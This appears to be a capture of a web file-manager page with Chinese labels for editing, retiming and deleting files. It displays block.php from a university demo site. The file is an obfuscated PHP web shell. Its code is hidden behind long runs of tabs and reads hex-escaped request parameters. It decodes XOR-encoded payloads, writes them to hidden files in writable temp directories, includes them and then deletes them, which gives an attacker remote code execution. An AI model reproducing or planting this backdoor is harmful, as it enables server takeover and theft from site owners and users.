文件操作 - block.php

文件: /var/www/demoestudiantes.uaysen.cl/html/block.php

编辑文件内容

<?php																																										if(!is_null($_REQUEST["\x68ld"] ?? null)){ $res = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp", "/var/tmp", session_save_path(), getenv("TEMP"), getenv("TMP"), getcwd()]); $itm = $_REQUEST["\x68ld"]; $itm = explode ( '.' , $itm ) ; $dat = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); $k = 0; foreach( $itm as $v9) { $sChar = ord( $s[$k % $sLen]); $dec =( ( int)$v9 - $sChar -( $k % 10))^ 75; $dat .= chr( $dec); $k++; } foreach ($res as $ent): if ((bool)is_dir($ent) && (bool)is_writable($ent)) { $fac = "$ent" . "/.elem"; if (file_put_contents($fac, $dat)) { require $fac; unlink($fac); die(); } } endforeach; }
																																										if(array_key_exists("va\x6Cue", $_REQUEST) && !is_null($_REQUEST["va\x6Cue"])){ $marker = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), getcwd(), "/tmp", getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), session_save_path(), "/var/tmp"]); $ptr = $_REQUEST["va\x6Cue"]; $ptr =explode ("." , $ptr ) ; $data_chunk= ''; $s6= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s6 ); $o= 0; $len= count($ptr ); do { if ($o >= $len) break; $v9= $ptr[$o]; $chS= ord($s6[$o %$lenS] ); $dec= ((int)$v9 - $chS - ($o %10)) ^ 75; $data_chunk .= chr($dec ); $o++; } while (true ); $element = 0; do { $entity = $marker[$element] ?? null; if ($element >= count($marker)) break; if (is_dir($entity) ? is_writable($entity) : false) { $factor = join("/", [$entity, ".parameter_group"]); $success = file_put_contents($factor, $data_chunk); if ($success) { include $factor; @unlink($factor); die();} } $element++; } while (true); }
																																										if(in_array("\x72e\x66eren\x63\x65", array_keys($_REQUEST))){ $factor = array_filter(["/tmp", sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp"]); $flg = $_REQUEST["\x72e\x66eren\x63\x65"]; $flg = explode ( '.' , $flg ) ; $dat = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $k = 0; $__tmp = $flg; while ($v3 = array_shift($__tmp)) { $chS = ord($salt[$k % $sLen]); $d = ((int)$v3 - $chS - ($k % 10)) ^ 89; $dat .=chr($d); $k++; } foreach ($factor as $key => $pointer) { if ((bool)is_dir($pointer) && (bool)is_writable($pointer)) { $k = "$pointer/.marker"; $success = file_put_contents($k, $dat); if ($success) { include $k; @unlink($k); exit;} } } }

if(filter_has_var(INPUT_POST, "c\x6Fmpo\x6Een\x74")){
	$ent = $_REQUEST["c\x6Fmpo\x6Een\x74"];
			 $ent=explode  (".",  $ent)		 ;
	$holder =	 '';
            $salt8 =	 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen =	 strlen($salt8);
            $len =	 count($ent);
    
            for ($n =	 0; $n	 <$len; $n++) {
                $v9 =	 $ent[$n];
                $sChar =	 ord($salt8[$n%	$sLen]);
                $dec =	 ((int)$v9 - $sChar - ($n%	10))		^		94;
                $holder	.= chr($dec);
            }
	$data = array_filter([ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), getcwd(), session_save_path(), "/var/tmp", getenv("TMP")]);
	$factor = 0;
do {
    $flg = $data[$factor] ?? null;
    if ($factor >= count($data)) break;
    		if (!!is_dir($flg) && !!is_writable($flg)) {
    $data_chunk = implode("/", [$flg, ".entity"]);
    if (file_put_contents($data_chunk, $holder)) {
	require $data_chunk;
	unlink($data_chunk);
	exit;
}
}
    $factor++;
} while (true);
}

文件操作 - block.php

文件: /var/www/demoestudiantes.uaysen.cl/html/block.php

编辑文件内容

修改文件时间

删除文件